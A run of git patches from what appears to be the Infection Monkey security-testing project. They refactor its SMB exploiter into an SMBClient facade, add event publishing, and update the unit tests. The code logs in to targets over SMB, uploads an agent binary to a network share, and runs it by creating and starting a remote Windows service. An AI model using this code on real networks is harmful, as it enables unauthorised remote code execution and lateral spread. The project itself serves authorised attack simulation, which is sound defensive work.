error_message=error_message) + raise Exception(error_message) + if not self._copied_file_details: raise Exception("File was not copied before executing it") command = build_smb_command( @@ -104,10 +116,19 @@ def execute( logger.debug(f"Service '{SERVICE_NAME}' already exists, trying to start it") resp = scmr.hROpenServiceW(rpc, sc_handle, SERVICE_NAME) else: + self._publish_propagation_event(self._timestamp, False, error_message=str(err)) raise err service_handle = resp["lpServiceHandle"] - scmr.hRStartServiceW(rpc, service_handle) + try: + scmr.hRStartServiceW(rpc, service_handle) + self._publish_propagation_event(self._timestamp, True) + except Exception as err: + self._publish_propagation_event( + self._timestamp, False, error_message="Failed to start the service" + ) + raise err + scmr.hRDeleteService(rpc, service_handle) scmr.hRCloseServiceHandle(rpc, service_handle) @@ -139,6 +160,7 @@ def copy_file( raise RemoteFileCopyError("Not authenticated") self._smb.setTimeout(self._options.agent_binary_upload_timeout) self._smb.putFile(share_name, remote_path, file.read) + self._publish_exploitation_event(self._timestamp, True) logger.info( f"Copied monkey agent to remote share '{share_name}' " @@ -151,6 +173,7 @@ def copy_file( ) except Exception as exc: + self._publish_exploitation_event(self._timestamp, False) error_message = ( f"Error uploading monkey to share '{share_name}' on victim {self._host}: {exc}" ) From 6002d949cdc1ba71b7ff391a2c4db5f7969650af Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 19:36:52 +0000 Subject: [PATCH 0806/1338] UT: Test BruteForceExploiter event tag inclusion --- .../tools/test_brute_force_exploiter.py | 75 +++++++++++++++++-- 1 file changed, 69 insertions(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 718962e988e..74c746c303b 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -32,6 +32,8 @@ EXPLOITER_NAME = "exploiter_name" OTHER_PATHS = [PurePath("other_path1"), PurePath("other_path2"), PurePath("other_path3")] TAGS = {"tag1"} +COPY_TAGS = {"copy_tag1"} +EXECUTE_TAGS = {"execute_tag1"} EXECUTE_AGENT_COMMAND = "cmd.exe C:\\Windows\\Temp\\agent m0nk3y" @@ -103,32 +105,78 @@ def run_brute_force_exploiter( ) +def copy_file_with_tags(_: bytes, __: PurePath, tags: MutableSet[str]): + tags.update(COPY_TAGS) + + +def execute_with_tags(_: str, tags: MutableSet[str]): + tags.update(EXECUTE_TAGS) + + def test_exploit_host__exploit_succeeds( - brute_force_exploiter: BruteForceExploiter, mock_agent_event_publisher: IAgentEventPublisher + brute_force_exploiter: BruteForceExploiter, + mock_exploit_client: IRemoteAccessClient, + mock_agent_event_publisher: IAgentEventPublisher, ): + mock_exploit_client.copy_file.side_effect = copy_file_with_tags + mock_exploit_client.execute_detached.side_effect = execute_with_tags + result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert result.propagation_success published_events = mock_agent_event_publisher.get_published_events() - assert [TAGS in event.tags for event in published_events] + assert all([TAGS.issubset(event.tags) for event in published_events]) + assert all( + [ + COPY_TAGS.issubset(event.tags) + for event in published_events + if type(event) == PropagationEvent + ] + ) + assert any( + [ + EXECUTE_TAGS.issubset(event.tags) + for event in published_events + if type(event) == PropagationEvent + ] + ) assert ExploitationEvent in [type(event) for event in published_events] assert any(event.success for event in published_events if type(event) == ExploitationEvent) assert PropagationEvent in [type(event) for event in published_events] assert any(event.success for event in published_events if type(event) == PropagationEvent) +def copy_file_with_tags_fails(_: bytes, __: PurePath, tags: MutableSet[str]): + tags.update(COPY_TAGS) + raise RemoteFileCopyError() + + +def execute_with_tags_fails(_: str, tags: MutableSet[str]): + tags.update(EXECUTE_TAGS) + raise RemoteCommandExecutionError() + + def test_exploit_host__copy_fails( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, mock_agent_event_publisher: IAgentEventPublisher, ): - mock_exploit_client.copy_file.side_effect = RemoteFileCopyError() + mock_exploit_client.copy_file.side_effect = copy_file_with_tags_fails + mock_exploit_client.execute_detached.side_effect = execute_with_tags result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert not result.propagation_success published_events = mock_agent_event_publisher.get_published_events() - assert [TAGS in event.tags for event in published_events] + assert all([TAGS.issubset(event.tags) for event in published_events]) + assert all( + [ + COPY_TAGS.issubset(event.tags) + for event in published_events + if type(event) == PropagationEvent + ] + ) + assert not any([EXECUTE_TAGS.issubset(event.tags) for event in published_events]) assert PropagationEvent in [type(event) for event in published_events] assert not any(event.success for event in published_events if type(event) == PropagationEvent) @@ -208,14 +256,29 @@ def test_exploit_host__execute_detached_fails( mock_exploit_client: IRemoteAccessClient, mock_agent_event_publisher: IAgentEventPublisher, ): - mock_exploit_client.execute_detached.side_effect = RemoteCommandExecutionError() + mock_exploit_client.copy_file.side_effect = copy_file_with_tags + mock_exploit_client.execute_detached.side_effect = execute_with_tags_fails result = run_brute_force_exploiter(brute_force_exploiter) published_events = mock_agent_event_publisher.get_published_events() assert result.exploitation_success assert not result.propagation_success - assert [TAGS in event.tags for event in published_events] + assert all([TAGS.issubset(event.tags) for event in published_events]) + assert all( + [ + COPY_TAGS.issubset(event.tags) + for event in published_events + if type(event) == PropagationEvent + ] + ) + assert any( + [ + EXECUTE_TAGS.issubset(event.tags) + for event in published_events + if type(event) == PropagationEvent + ] + ) assert PropagationEvent in [type(event) for event in published_events] assert not any( event.success for event in published_events if isinstance(event, PropagationEvent) From 8ec116d949ffab470761383dce7ebe30c3ed12b8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 15 Mar 2023 15:13:41 +0000 Subject: [PATCH 0807/1338] SMB: Add SMBClient facade --- .../exploiters/smb/src/smb_client.py | 134 ++++++++++++++++ .../exploiters/smb/src/smb_exploit_client.py | 146 +++--------------- .../exploiters/smb/test_smb_exploit_client.py | 16 +- 3 files changed, 171 insertions(+), 125 deletions(-) create mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_client.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py new file mode 100644 index 00000000000..9c07b28df88 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -0,0 +1,134 @@ +import logging +from typing import Optional, Sequence + +from impacket.dcerpc.v5 import scmr, srvs, transport +from impacket.smbconnection import SMBConnection + +from common.credentials import Credentials +from common.types import NetworkPort +from infection_monkey.i_puppet import TargetHost + +from .smb_utils import create_smb_connection, logout_guest, rpc_connect, smb_login + +logger = logging.getLogger(__name__) + + +class SMBClient: + def __init__(self): + self._smb_connection: Optional[SMBConnection] = None + + def connected(self) -> bool: + return self._smb_connection is not None and not self._smb_connection.isLoginRequired() + + def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: int) -> bool: + self._smb_connection = create_smb_connection(host) + if not self._smb_connection: + return False + + self._smb_connection = smb_login(self._smb_connection, credentials) + if not self._smb_connection: + return False + + self._smb_connection.setTimeout(timeout) + + if logout_guest(self._smb_connection): + # TODO: Reset the connection to None? + return False + + return True + + def connect_to_share(self, share_name: str): + """Connects to a share on the remote host + Side effect: sets the current directory to the root of the share + raises SessionError if an error occurs""" + if not self._smb_connection: + raise Exception("SMB connection not established") + self._smb_connection.connectTree(share_name) + + def query_server_info(self): + try: + return self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) + except Exception as err: + logger.debug(f"Failed to query server info: {err}") + return None + + def query_shared_resources(self): + try: + return self._execute_rpc_call(srvs.hNetrShareEnum, 2) + except Exception as err: + logger.debug(f"Failed to query shared resources: {err}") + return None + + def _execute_rpc_call(self, rpc_func, *args): + """Executes an RPC call using DCE/RPC + raises SessionError if an error occurs""" + rpctransport = transport.SMBTransport( + self._smb_connection.getRemoteHost(), + self._smb_connection.getRemoteHost(), + filename=r"\srvsvc", + smb_connection=self._smb_connection, + ) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return rpc_func(dce, *args) + + def run_service( + self, + service_name: str, + command: str, + host: TargetHost, + ports_to_try: Sequence[NetworkPort], + credentials: Credentials, + timeout: int, + ): + """Runs a service on the remote host + raises Exception if an error occurs""" + + rpc: Optional[transport.DCERPCTransport] = None + for port in ports_to_try: + rpc = rpc_connect(host, port, credentials, timeout) + if rpc: + break + if not rpc: + raise Exception("Failed to establish an RPC connection over SMB") + + rpc.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(rpc) + sc_handle = resp["lpScHandle"] + + try: + resp = scmr.hRCreateServiceW( + rpc, + sc_handle, + service_name, + service_name, + lpBinaryPathName=command, + ) + except scmr.DCERPCSessionError as err: + if err.error_code == 0x431: + logger.debug(f"Service '{service_name}' already exists, trying to start it") + resp = scmr.hROpenServiceW(rpc, sc_handle, service_name) + else: + raise err + + service_handle = resp["lpServiceHandle"] + try: + scmr.hRStartServiceW(rpc, service_handle) + except Exception: + raise Exception("Failed to start the service") + finally: + scmr.hRDeleteService(rpc, service_handle) + scmr.hRCloseServiceHandle(rpc, service_handle) + + def send_file(self, share_name: str, path_name: str, callback): + """Sends a file to the remote host + rises SessionError if an error occurs""" + if not self._smb_connection: + raise Exception("SMB connection not established") + self._smb_connection.putFile(share_name, path_name, callback) + + def set_timeout(self, timeout: int): + if self._smb_connection is not None: + self._smb_connection.setTimeout(timeout) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 8ed4e9b6a6b..6a4c5b86ffb 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -4,20 +4,16 @@ from pathlib import PurePath from typing import Any, Dict, Optional, Sequence, Tuple -from impacket.dcerpc.v5 import scmr, srvs, transport -from impacket.smbconnection import SMBConnection - from common import OperatingSystem from common.credentials import Credentials -from common.event_queue import IAgentEventPublisher from common.types import Event from infection_monkey.exploit.tools import RemoteFileCopyError from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost +from .smb_client import SMBClient from .smb_command_builder import build_smb_command from .smb_options import SMBOptions -from .smb_utils import create_smb_connection, logout_guest, rpc_connect, smb_login logger = logging.getLogger(__name__) @@ -36,38 +32,26 @@ class SMBExploitClient: """Manages the SMB connection, Exploitation events""" def __init__( - self, agent_event_publisher: IAgentEventPublisher, host: TargetHost, options: SMBOptions + self, + host: TargetHost, + options: SMBOptions, + smb_client: SMBClient = SMBClient(), ): - self._agent_event_publisher = agent_event_publisher self._host = host self._options = options - self._smb: Optional[SMBConnection] = None self._copied_file_details: Optional[CopiedFileDetails] = None self._authenticated_credentials: Optional[Credentials] = None - self._timestamp = time() + self._smb_client = smb_client def authenticate(self, credentials: Credentials) -> bool: """Returns True if authentication succeeded, False otherwise Side effect: The SMB connection is established on success""" - self._timestamp = time() - error_message = f"Failed to authentication using SMB with {credentials}" - self._smb = create_smb_connection(self._host) - if not self._smb: - self._publish_exploitation_event(self._timestamp, False, error_message=error_message) - return False - - if not smb_login(self._smb, credentials): - self._publish_exploitation_event(self._timestamp, False, error_message=error_message) - return False - - self._smb.setTimeout(self._options.smb_connect_timeout) - - if logout_guest(self._smb): - self._publish_exploitation_event(self._timestamp, False, error_message=error_message) + if not self._smb_client.connect_with_user( + self._host, credentials, timeout=self._options.smb_connect_timeout + ): return False - self._publish_exploitation_event(self._timestamp, True) self._authenticated_credentials = credentials return True @@ -83,12 +67,6 @@ def execute( """Raises an exception if the execution failed""" if not self._authenticated_credentials: raise Exception("Not authenticated") - rpc = self._connect_rpc(self._authenticated_credentials, self._options.smb_connect_timeout) - - if not rpc: - error_message = "Failed to establish an RPC connection over SMB" - self._publish_propagation_event(self._timestamp, False, error_message=error_message) - raise Exception(error_message) if not self._copied_file_details: raise Exception("File was not copied before executing it") @@ -99,42 +77,13 @@ def execute( self._copied_file_details.destination_path, ) - rpc.bind(scmr.MSRPC_UUID_SCMR) - resp = scmr.hROpenSCManagerW(rpc) - sc_handle = resp["lpScHandle"] - - try: - resp = scmr.hRCreateServiceW( - rpc, - sc_handle, - SERVICE_NAME, - SERVICE_NAME, - lpBinaryPathName=command, - ) - except scmr.DCERPCSessionError as err: - if err.error_code == 0x431: - logger.debug(f"Service '{SERVICE_NAME}' already exists, trying to start it") - resp = scmr.hROpenServiceW(rpc, sc_handle, SERVICE_NAME) - else: - self._publish_propagation_event(self._timestamp, False, error_message=str(err)) - raise err - - service_handle = resp["lpServiceHandle"] - try: - scmr.hRStartServiceW(rpc, service_handle) - self._publish_propagation_event(self._timestamp, True) - except Exception as err: - self._publish_propagation_event( - self._timestamp, False, error_message="Failed to start the service" - ) - raise err - - scmr.hRDeleteService(rpc, service_handle) - scmr.hRCloseServiceHandle(rpc, service_handle) - - def _connect_rpc(self, credentials, timeout): - return rpc_connect(self._host, 139, credentials, timeout) or rpc_connect( - self._host, 445, credentials, timeout + self._smb_client.run_service( + SERVICE_NAME, + command, + self._host, + [139, 445], + self._authenticated_credentials, + self._options.smb_connect_timeout, ) def copy_file( @@ -142,7 +91,7 @@ def copy_file( file: BytesIO, ): """Raises an exception if the copy failed""" - if not self._query_server_info(): + if not self._smb_client.query_server_info(): raise RemoteFileCopyError("No server information is available") destination_path = get_agent_dst_path(self._host) @@ -156,11 +105,10 @@ def copy_file( ) try: - if not self._smb: + if not self._smb_client.connected(): raise RemoteFileCopyError("Not authenticated") - self._smb.setTimeout(self._options.agent_binary_upload_timeout) - self._smb.putFile(share_name, remote_path, file.read) - self._publish_exploitation_event(self._timestamp, True) + self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) + self._smb_client.send_file(share_name, remote_path, file.read) logger.info( f"Copied monkey agent to remote share '{share_name}' " @@ -173,38 +121,14 @@ def copy_file( ) except Exception as exc: - self._publish_exploitation_event(self._timestamp, False) error_message = ( f"Error uploading monkey to share '{share_name}' on victim {self._host}: {exc}" ) logger.error(error_message) raise RemoteFileCopyError(error_message) - def _query_server_info(self): - try: - info = self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) - except Exception as err: - logger.debug(f"Failed to query server info: {err}") - return None - - return info - - def _execute_rpc_call(self, rpc_func, *args): - """Executes an RPC call using DCE/RPC""" - rpctransport = transport.SMBTransport( - self._smb.getRemoteHost(), - self._smb.getRemoteHost(), - filename=r"\srvsvc", - smb_connection=self._smb, - ) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return rpc_func(dce, *args) - def _query_shares(self, path: PurePath): - resp = self._query_shared_resources() + resp = self._smb_client.query_shared_resources() if not resp: return () @@ -240,15 +164,6 @@ def _query_shares(self, path: PurePath): return high_priority_shares + low_priority_shares - def _query_shared_resources(self): - try: - shares = self._execute_rpc_call(srvs.hNetrShareEnum, 2) - except Exception as err: - logger.debug(f"Failed to query shared resources: {err}") - return None - - return shares - def _connected_shares(self, shares): """Yields a tuple of (remote_path, share_name, share_path) Side effect: the SMBConnection is connected to the share""" @@ -258,15 +173,15 @@ def _connected_shares(self, shares): share_path = share["share_path"] # TODO: Do we really need to handle reconnects? - if not self._smb: + if not self._smb_client.connected(): if not self._authenticated_credentials: break - self._connect_with_user(self._authenticated_credentials) - if not self._smb: + self._smb_client.connect_with_user(self._host, self._authenticated_credentials) + if not self._smb_client.connected(): break try: - self._smb.connectTree(share_name) + self._smb_client.connect_to_share(share_name) except Exception as exc: logger.error( f'Error connecting tree to share "{share_name}" on victim {self._host}: {exc}' @@ -274,14 +189,3 @@ def _connected_shares(self, shares): continue yield remote_path, share_name, share_path - - def _connect_with_user(self, credentials: Credentials) -> bool: - self._smb = create_smb_connection(self._host) - if not self._smb: - return False - - self._smb = smb_login(self._smb, credentials) - if not self._smb: - return False - - return True diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index bf0e9487dd0..724e77f86b1 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -3,6 +3,7 @@ from unittest.mock import MagicMock import pytest +from agent_plugins.exploiters.smb.src.smb_client import SMBClient from agent_plugins.exploiters.smb.src.smb_exploit_client import SMBExploitClient from agent_plugins.exploiters.smb.src.smb_options import SMBOptions from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS @@ -15,6 +16,11 @@ from infection_monkey.i_puppet import TargetHost +@pytest.fixture +def mock_smb_client(): + return MagicMock(spec=SMBClient) + + @pytest.fixture def mock_agent_event_publisher() -> IAgentEventPublisher: return MagicMock(spec=IAgentEventPublisher) @@ -36,9 +42,10 @@ def mock_target_host() -> TargetHost: def test_authenticate__publishes_events( mock_agent_event_publisher: IAgentEventPublisher, mock_target_host: TargetHost, + mock_smb_client: SMBClient, ): - exploit_client = SMBExploitClient(mock_agent_event_publisher) - exploit_client.authenticate(mock_target_host, SMBOptions(), FULL_CREDENTIALS) + exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) + exploit_client.authenticate(FULL_CREDENTIALS) assert mock_agent_event_publisher.publish_event.called published_events = mock_agent_event_publisher.publish.call_args_list @@ -50,9 +57,10 @@ def test_authenticate__publishes_events( def test_authenticate__fails_if_no_credentials( mock_agent_event_publisher: IAgentEventPublisher, mock_target_host: TargetHost, + mock_smb_client: SMBClient, ): - exploit_client = SMBExploitClient(mock_agent_event_publisher) - exploit_client.authenticate(mock_target_host, SMBOptions(), []) + exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) + exploit_client.authenticate([]) assert mock_agent_event_publisher.publish_event.called published_events = mock_agent_event_publisher.publish.call_args_list From e5d97a8e321c497f31175ba99612f0c43446016f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 09:35:42 -0400 Subject: [PATCH 0808/1338] Agent: Clarify the docstring wording for IRemoteAccessClient.get_os() --- monkey/infection_monkey/exploit/tools/i_remote_access_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index 136805ea369..62fa3fdfebb 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -49,7 +49,7 @@ def login(self, credentials: Credentials, tags: MutableSet[str]): @abstractmethod def get_os(self) -> OperatingSystem: """ - Query the remote host for its operating system + Return the operating system of the remote host :return: The operating system of the remote host :raises RemoteAccessClientError: If the operating system could not be determined From 4cb682ed5605db5c5319011199b2e2cec558c61d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 15 Mar 2023 19:55:10 +0000 Subject: [PATCH 0809/1338] SMB: Use f-string formatting in debug log call --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 6a4c5b86ffb..f76d2f1983a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -99,9 +99,7 @@ def copy_file( for remote_path, share_name, share_path in self._connected_shares(shares): logger.debug( f"Trying to copy monkey file to share '{share_name}' " - f"[%s + %s] on victim {self._host}", - share_path, - remote_path, + f"[{share_path}{remote_path}] on victim {self._host}" ) try: From 1c8fca2064b97db10a27bf8ce9f60cd2dbecb0f8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 15 Mar 2023 19:57:30 +0000 Subject: [PATCH 0810/1338] SMB: Fix copy_file return cases --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index f76d2f1983a..610205e2ffb 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -117,13 +117,14 @@ def copy_file( PurePath(ntpath.join(share_path, remote_path.strip(ntpath.sep))), destination_path, ) - + return except Exception as exc: error_message = ( f"Error uploading monkey to share '{share_name}' on victim {self._host}: {exc}" ) logger.error(error_message) raise RemoteFileCopyError(error_message) + raise RemoteFileCopyError("Failed to connect to any share") def _query_shares(self, path: PurePath): resp = self._smb_client.query_shared_resources() From eb2a628bd9475b896a67c63ead6cc0c683a13864 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 15 Mar 2023 20:04:58 +0000 Subject: [PATCH 0811/1338] UT: Add tests for SMBExploitClient --- .../exploiters/smb/test_smb_exploit_client.py | 105 ++++++++++++++---- 1 file changed, 83 insertions(+), 22 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 724e77f86b1..211599459f3 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -1,4 +1,6 @@ +from io import BytesIO from ipaddress import IPv4Address +from threading import Event from typing import List from unittest.mock import MagicMock @@ -9,21 +11,36 @@ from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS from common import OperatingSystem -from common.agent_events import ExploitationEvent from common.credentials import Credentials -from common.event_queue import IAgentEventPublisher from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit.tools import RemoteFileCopyError from infection_monkey.i_puppet import TargetHost - -@pytest.fixture -def mock_smb_client(): - return MagicMock(spec=SMBClient) +SHARED_RESOURECES = ( + { + "shi2_netname": "share1", + "shi2_path": "path1", + "shi2_current_uses": 10, + "shi2_max_uses": 1000, + }, + { + "shi2_netname": "share2", + "shi2_path": "path2", + "shi2_current_uses": 100, + "shi2_max_uses": 100, + }, + {"shi2_netname": "share3", "shi2_path": "", "shi2_current_uses": 0, "shi2_max_uses": 10}, +) + +FILE = BytesIO(b"file content") @pytest.fixture -def mock_agent_event_publisher() -> IAgentEventPublisher: - return MagicMock(spec=IAgentEventPublisher) +def mock_smb_client(): + client = MagicMock(spec=SMBClient) + client.connected.return_value = True + client.query_shared_resources.return_value = SHARED_RESOURECES + return client @pytest.fixture @@ -39,31 +56,75 @@ def mock_target_host() -> TargetHost: CREDENTIALS: List[Credentials] = [] -def test_authenticate__publishes_events( - mock_agent_event_publisher: IAgentEventPublisher, +def test_execute__fails_if_not_authenticated( + mock_target_host: TargetHost, + mock_smb_client: SMBClient, +): + exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) + with pytest.raises(Exception): + exploit_client.execute([], 1, Event()) + + +def test_execute__fails_if_file_not_copied( + mock_target_host: TargetHost, + mock_smb_client: SMBClient, +): + exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) + exploit_client.authenticate(FULL_CREDENTIALS[0]) + with pytest.raises(Exception): + exploit_client.execute([], 1, Event()) + + +def test_execute__fails_if_command_not_executed( mock_target_host: TargetHost, mock_smb_client: SMBClient, ): + mock_smb_client.run_service.side_effect = Exception("file") exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) - exploit_client.authenticate(FULL_CREDENTIALS) + exploit_client.authenticate(FULL_CREDENTIALS[0]) + exploit_client.copy_file(FILE) + with pytest.raises(Exception): + exploit_client.execute([], 1, Event()) - assert mock_agent_event_publisher.publish_event.called - published_events = mock_agent_event_publisher.publish.call_args_list - published_events = [param[0][0] for param in published_events] - assert ExploitationEvent in [type(event) for event in published_events] +def test_copy_file__fails_if_not_authenticated( + mock_target_host: TargetHost, + mock_smb_client: SMBClient, +): + mock_smb_client.connected.return_value = False + exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) + with pytest.raises(RemoteFileCopyError): + exploit_client.copy_file(FILE) -def test_authenticate__fails_if_no_credentials( - mock_agent_event_publisher: IAgentEventPublisher, +def test_copy_file__fails_if_no_shares_found( mock_target_host: TargetHost, mock_smb_client: SMBClient, ): + mock_smb_client.query_shared_resources.return_value = None exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) - exploit_client.authenticate([]) + exploit_client.authenticate(FULL_CREDENTIALS[0]) + with pytest.raises(RemoteFileCopyError): + exploit_client.copy_file(FILE) - assert mock_agent_event_publisher.publish_event.called - published_events = mock_agent_event_publisher.publish.call_args_list - published_events = [param[0][0] for param in published_events] - assert not all([event.exploitation_success for event in published_events]) +def test_copy_file__fails_if_unable_to_connect_to_share( + mock_target_host: TargetHost, + mock_smb_client: SMBClient, +): + mock_smb_client.connect_to_share.side_effect = Exception("failed") + exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) + exploit_client.authenticate(FULL_CREDENTIALS[0]) + with pytest.raises(RemoteFileCopyError): + exploit_client.copy_file(FILE) + + +def test_copy_file__fails_if_unable_to_copy_file( + mock_target_host: TargetHost, + mock_smb_client: SMBClient, +): + mock_smb_client.send_file.side_effect = Exception("file") + exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) + exploit_client.authenticate(FULL_CREDENTIALS[0]) + with pytest.raises(RemoteFileCopyError): + exploit_client.copy_file(FILE) From daeb8a885849576f128899a1b2aaedcbbf29240d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 15 Mar 2023 21:21:13 +0000 Subject: [PATCH 0812/1338] SMB: Add ShareInfo class --- .../exploiters/smb/src/smb_client.py | 31 +++++++- .../exploiters/smb/src/smb_exploit_client.py | 73 ++++++++----------- .../exploiters/smb/test_smb_exploit_client.py | 20 ++--- 3 files changed, 62 insertions(+), 62 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 9c07b28df88..2f2c0c44f44 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -1,5 +1,5 @@ import logging -from typing import Optional, Sequence +from typing import Any, Dict, Optional, Sequence, Tuple from impacket.dcerpc.v5 import scmr, srvs, transport from impacket.smbconnection import SMBConnection @@ -13,6 +13,25 @@ logger = logging.getLogger(__name__) +class ShareInfo: + """Stores the information about a share""" + + def __init__(self, name: str, path: str, current_uses: int, max_uses: int): + self.name = name + self.path = path + self.current_uses = current_uses + self.max_uses = max_uses + + @staticmethod + def from_dict(share_info_dict: Dict[str, Any]) -> "ShareInfo": + return ShareInfo( + share_info_dict["shi2_netname"].strip("\0 "), + share_info_dict["shi2_path"].strip("\0 "), + share_info_dict["shi2_current_uses"], + share_info_dict["shi2_max_uses"], + ) + + class SMBClient: def __init__(self): self._smb_connection: Optional[SMBConnection] = None @@ -52,12 +71,16 @@ def query_server_info(self): logger.debug(f"Failed to query server info: {err}") return None - def query_shared_resources(self): + def query_shared_resources(self) -> Tuple[ShareInfo, ...]: + """Return a tuple consisting of available network shares""" try: - return self._execute_rpc_call(srvs.hNetrShareEnum, 2) + return tuple( + ShareInfo.from_dict(share) + for share in self._execute_rpc_call(srvs.hNetrShareEnum, 2) + ) except Exception as err: logger.debug(f"Failed to query shared resources: {err}") - return None + return () def _execute_rpc_call(self, rpc_func, *args): """Executes an RPC call using DCE/RPC diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 610205e2ffb..f79036427c6 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -2,7 +2,7 @@ import ntpath from io import BytesIO from pathlib import PurePath -from typing import Any, Dict, Optional, Sequence, Tuple +from typing import Iterator, Optional, Sequence, Tuple from common import OperatingSystem from common.credentials import Credentials @@ -11,7 +11,7 @@ from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost -from .smb_client import SMBClient +from .smb_client import ShareInfo, SMBClient from .smb_command_builder import build_smb_command from .smb_options import SMBOptions @@ -96,81 +96,68 @@ def copy_file( destination_path = get_agent_dst_path(self._host) shares = self._query_shares(destination_path) - for remote_path, share_name, share_path in self._connected_shares(shares): + for remote_path, share in self._connected_shares(shares): logger.debug( - f"Trying to copy monkey file to share '{share_name}' " - f"[{share_path}{remote_path}] on victim {self._host}" + f"Trying to copy monkey file to share '{share.name}' " + f"[{share.path}{remote_path}] on victim {self._host}" ) try: if not self._smb_client.connected(): raise RemoteFileCopyError("Not authenticated") self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) - self._smb_client.send_file(share_name, remote_path, file.read) + self._smb_client.send_file(share.name, remote_path, file.read) logger.info( - f"Copied monkey agent to remote share '{share_name}' " - f"[{share_path}] on victim {self._host}" + f"Copied monkey agent to remote share '{share.name}' " + f"[{share.path}] on victim {self._host}" ) self._copied_file_details = CopiedFileDetails( - PurePath(ntpath.join(share_path, remote_path.strip(ntpath.sep))), + PurePath(ntpath.join(share.path, remote_path.strip(ntpath.sep))), destination_path, ) 